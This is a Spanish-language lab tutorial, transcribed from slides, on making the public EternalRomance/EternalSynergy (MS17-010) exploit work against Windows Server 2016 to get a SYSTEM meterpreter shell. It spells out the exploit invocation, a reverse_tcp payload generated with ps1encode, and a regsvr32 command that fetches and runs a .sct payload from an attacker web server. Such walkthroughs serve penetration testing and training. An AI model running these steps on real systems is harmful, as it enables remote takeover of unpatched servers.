Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

13
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 1 EXPLOTAR ETERNALROMANCE/SYNERGY PARA OBTENER UNA SHELL DE METERPRETER EN WINDOWS SERVER 2016 Sheila A. Berta (@UnaPibaGeek) – Security Researcher at Eleven Paths [email protected] || [email protected] Julio 12, 2017

Transcript of Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

Page 1: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 1

EXPLOTAR ETERNALROMANCE/SYNERGY PARA OBTENER UNA

SHELL DE METERPRETER EN WINDOWS SERVER 2016

Sheila A. Berta (@UnaPibaGeek) – Security Researcher at Eleven Paths

[email protected] || [email protected]

Julio 12, 2017

Page 2: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 2

Tabla de contenidos EXPLOTAR ETERNALROMANCE/SYNERGY PARA OBTENER UNA SHELL DE METERPRETER EN WINDOWS

SERVER 2016 ................................................................................................................................................. 1

Introducción .................................................................................................................................................. 3

Entorno de laboratorio .............................................................................................................................. 3

Obtención del exploit .................................................................................................................................... 5

Resolver dependencias .............................................................................................................................. 5

Comprobación de funcionamiento ............................................................................................................... 6

Datos de autenticación .............................................................................................................................. 6

Parámetros ................................................................................................................................................ 6

Ejecución sin shellcode .............................................................................................................................. 7

Preparación de una shellcode ....................................................................................................................... 8

Generar archivo .SCT con PS1ENCODE ...................................................................................................... 8

Permitir descarga de shellcode.sct ............................................................................................................ 9

Alteración del comportamiento del exploit ................................................................................................ 10

Ejecutar la shellcode ................................................................................................................................ 10

Obtención de la sesión de meterpreter ...................................................................................................... 11

Palabras finales… ........................................................................................................................................ 13

Page 3: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 3

Introducción

Cuando Microsoft publicó los parches para la vulnerabilidad MS17-010, quedó expuesto que el problema

afectaba desde Windows 7 (Vista en realidad, pero bueno, ese no cuenta :p) hasta Windows Server 2016.

Sin embargo, la serie de exploits “ETERNALS” publicados por TheShadowBrokers, presentan gran

inestabilidad al intentar impactar sistemas con Windows Server 2012 en adelante, provocando la mayoría

de las veces un BSOD en el equipo atacado.

Con el objetivo de entender su funcionamiento y mejorarlos, los exploits de la NSA que se hicieron

públicos, han pasado por la lupa de muchos investigadores. Gracias a ello, hace pocos días se publicó un

exploit que aprovecha el bug de ETERNALROMANCE/SYNERGY, con mejoras en el método de explotación,

para hacerlo más estable al momento de atacar sistemas con Windows Server 2012 y 2016. Pero lo cierto

es que, al fiel estilo de su autor (Sleepya), si se quiere utilizar dicho exploit es necesario ingeniárselas un

poco, entender cómo funciona y modificar algunas pequeñas cosas para lograr que, al momento de

impactar un objetivo, ocurra lo que nosotros deseemos.

Es por eso que tras haberlo analizado, aquí estoy escribiendo un nuevo “how to” :). En este paso a paso

se explica todo lo necesario para hacer funcionar el exploit de Sleepya correctamente y cómo modificar

su comportamiento con el fin de obtener una sesión de meterpreter sobre el equipo objetivo.

Por supuesto, esta documentación es con fines de investigación.

Entorno de laboratorio

Para montar el entorno de laboratorio, es necesario configurar los siguientes equipos:

1. Máquina objetivo - Windows Server 2016

Una máquina con Windows Server 2016 de 64bits será utilizada como target.

Luego de la instalación del sistema, no es necesario realizar cambios en el mismo, simplemente conocer

su dirección IP y asegurarse de que esté encendido al realizar el ataque.

2. Máquina atacante – Preferentemente GNU/Linux

Es posible utilizar cualquier sistema como máquina atacante, siempre y cuando se puedan ejecutar

correctamente las siguientes herramientas:

Page 4: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 4

• Python v2.7 - https://www.python.org/download/releases/2.7/

• Ps1Encode - https://github.com/CroweCybersecurity/ps1encode

• Metasploit Framework - https://github.com/rapid7/metasploit-framework

A continuación, el resumen de las configuraciones en el laboratorio:

• Windows Server 2016 x64 – IP: 10.0.2.13 Target.

• GNU/Linux Debian x64 – IP: 10.0.2.6 Atacante.

Page 5: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 5

Obtención del exploit

El código fue publicado en exploit-db y puede ser descargado desde siguiente enlace:

https://www.exploit-db.com/exploits/42315/.

Como podemos observar, está escrito en Python, por lo tanto lo guardamos con extensión .py en la

máquina atacante. Una vez hecho esto, si lo ejecutamos nos encontraremos con el siguiente error:

A continuación se explica cómo solventar este problema.

Resolver dependencias

En línea número tres del exploit se importa el módulo “mysmb”, el cual no es propio de Python ni podemos

instalarlo usando pip. Este módulo fue desarrollado por Sleepya y tendremos que descargarlo desde su

github en el siguiente link: https://github.com/worawit/MS17-010/blob/master/mysmb.py.

Lo guardamos con el nombre de “mysmb.py” en la misma carpeta donde hemos descargado el exploit.

Recordemos que en Python, para que un script pueda importar el código de un módulo, es necesario crear

un archivo llamado “__INIT__.py” donde se encuentren los mismos.

Al hacer esto, el script del exploit encontrará el módulo necesario y no mostrará más errores.

Page 6: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 6

Comprobación de funcionamiento

Es posible verificar el correcto funcionamiento del exploit sin hacer demasiadas modificaciones. Si lo

ejecutamos tal como está, una vez que la explotación sea exitosa creará un archivo llamado “pwned.txt”

en la unidad “C:\” del equipo atacado.

Aunque esta simple comprobación no requiere que modifiquemos nada del exploit en sí, debemos definir

igualmente algunos datos y parámetros que veremos a continuación.

Datos de autenticación

El bug que explota ETERNALROMANCE/SYNERGY requiere que el ataque sea autenticado. Bien podría ser

a través de una cuenta Guest si está habilitada, sino, tendremos que obtener el usuario y contraseña de

alguna cuenta en el equipo objetivo. Es importante destacar que no importan los privilegios de la cuenta,

aun si fuera “Guest”, los privilegios que obtendremos al impactar serán de SYSTEM.

Para definir esta información, debemos abrir el exploit.py con cualquier editor de texto y dirigirnos a las

líneas 26 y 27:

Allí podremos definir el usuario y contraseña a utilizar para la autenticación.

Parámetros

El exploit necesita que definamos dos parámetros: la IP del objetivo y el pipe name. El protocolo SMB

define que un recurso compartido puede ser de tres tipos diferentes:

- File: archivo o disco, incluyendo subdirectorios.

- Print: recursos para impresión.

- Pipe: comunicación entre procesos siguiendo el modelo FIFO, donde se conoce como named pipes

a aquellas conexiones que siguen vivas mientras el sistema siga en funcionamiento más allá de

que el proceso ya no se encuentre activo.

A diferencia de ETERNALBLUE, los exploits ETERNALROMANCE y ETERNALSYNERGY explotan un bug en el

acceso a named pipes, es por eso que es necesario definir cuál se utilizará al momento de impactar.

Personalmente suelo utilizar “spoolss”, otra opción es “browser”. También es posible utilizar el escáner

de metasploit: auxiliary/scanner/smb/pipe_auditor y ver cuáles se encuentran accesibles en el sistema

objetivo.

Page 7: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 7

Ejecución sin shellcode

Sin más, procedemos a ejecutar el exploit con el siguiente comando:

python exploit.py <ip_objetivo> spoolss

Tal como se mencionó antes, si la explotación fue exitosa veremos que se ha creado un archivo llamado

“pwned.txt” en la unidad “C:\” del equipo atacado.

Haber logrado la explotación con éxito es un gran paso. A continuación, veremos cómo sacar mayor

provecho, modificando este último comportamiento en el exploit con el objetivo de ejecutar una shell

de meterpreter.

Page 8: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 8

Preparación de una shellcode

Hay muchas formas de lograr que el exploit ejecute una shell de meterpreter o cualquier otra acción en

lugar de simplemente escribir aquel archivo.

El primer paso es generar la shellcode que usaremos, para hacerlo utilizaré una forma que personalmente

me gusta mucho y tiene numerosas ventajas a la hora de evadir controles de seguridad.

En resumen, la shellcode estará en un archivo .SCT que el exploit se encargará de descargar y ejecutar en

la máquina objetivo, devolviéndonos como resultado la tan ansiada sesión de meterpreter.

Generar archivo .SCT con PS1ENCODE

Ps1Encode es una herramienta muy útil que permite generar y codificar payloads de metasploit en

diversos formatos basados en PowerShell. Podemos obtenerla desde su github:

https://github.com/CroweCybersecurity/ps1encode.

Para generar el payload que necesitamos, ejecutaremos la herramienta con los siguientes parámetros:

ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<IP_ATACANTE> --

LPORT=4444 -t sct

El archivo .sct que estamos generando, tendremos que almacenarlo en un web server en la máquina

atacante o en cualquier otro equipo que pueda ser accedido sin problemas por la máquina objetivo. Es

por ello que, al ejecutar el comando anterior, la herramienta nos pregunta cuál será la URL completa

donde alojaremos el archivo .sct. Si vamos a usar la propia máquina atacante, simplemente ingresamos:

http://<IP_ATACANTE>.

Page 9: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 9

Permitir descarga de shellcode.sct

El paso anterior nos generó un archivo llamado index.sct en la carpeta de ps1encode. Para que el mismo pueda ser descargado por el exploit en la máquina objetivo, debemos moverlo a la carpeta del servidor web y asignarle los permisos adecuados.

Tras realizar la ejecución de los comandos que vemos en la imagen superior, tendremos la shellcode

lista para ser usada.

Page 10: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 10

Alteración del comportamiento del exploit

Si abrimos el exploit con un editor de texto y nos dirigimos a la línea 463 en adelante, nos encontraremos

con lo siguiente:

Allí vemos las funciones que el exploit utiliza para crear el archivo “pwned.txt” en la máquina atacada,

pero más interesante aún, es la línea por debajo de ellas, donde se encuentra comentada la función

service_exec().

Si observamos, aquella función ejecuta el comando “copy” como ejemplo, creando una copia de

“pwned.txt”. Esto no se ejecutará a menos que quitemos el numeral (#) que precede a la función. Si lo

hacemos y volvemos a ejecutar el exploit, notaremos que en la unidad “C:\” tendremos dos archivos de

texto: pwned.txt y pwned_exec.txt.

Es claro que podemos modificar el comando copy por cualquier otro que ejecute lo que nosotros

deseemos.

Ejecutar la shellcode

Ahora que conocemos donde modificar el exploit para cambiar su comportamiento final, editaremos la

línea que invoca a la función service_exec() para que ejecute el comando que se encargará de descargar y

ejecutar la shell de meterpreter:

regsvr32 /s /n /u /i:http://<ip_atacante_webserver>/shellcode.sct scrobj.dll

El exploit quedará de la siguiente forma:

Page 11: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 11

Obtención de la sesión de meterpreter

Finalmente, antes de realizar la ejecución del exploit.py, configuramos el exploit/multi/handler de

metasploit para recibir la sesión de meterpreter.

Volvemos a ejecutar el exploit guardando las modificaciones que hemos realizado en el paso anterior.

Page 12: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 12

Tras unos pocos segundos, obtendremos la sesión de meterpreter en la máquina objetivo, con privilegios

de SYSTEM.

Page 13: Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 13

Palabras finales…

No hay tiempo para palabras finales, ve a parchear tus sistemas :-).

Agradecimientos:

Worawit Wang (@sleepya_). Por bancarme siempre: Claudio Caracciolo (@holesec). Mateo Martinez (@MateoMartinezOK). Luciano Martins (@clucianomartins). Arturo Busleiman (@buanzo). Ezequiel Sallis (@simubucks). Cristian Borghello (@crisborghe / @seguinfo). Sol O. (@0zz4n5). @DragonJar || @ekoparty || “Las Pibas de Infosec”. -- Sheila A. Berta - @UnaPibaGeek.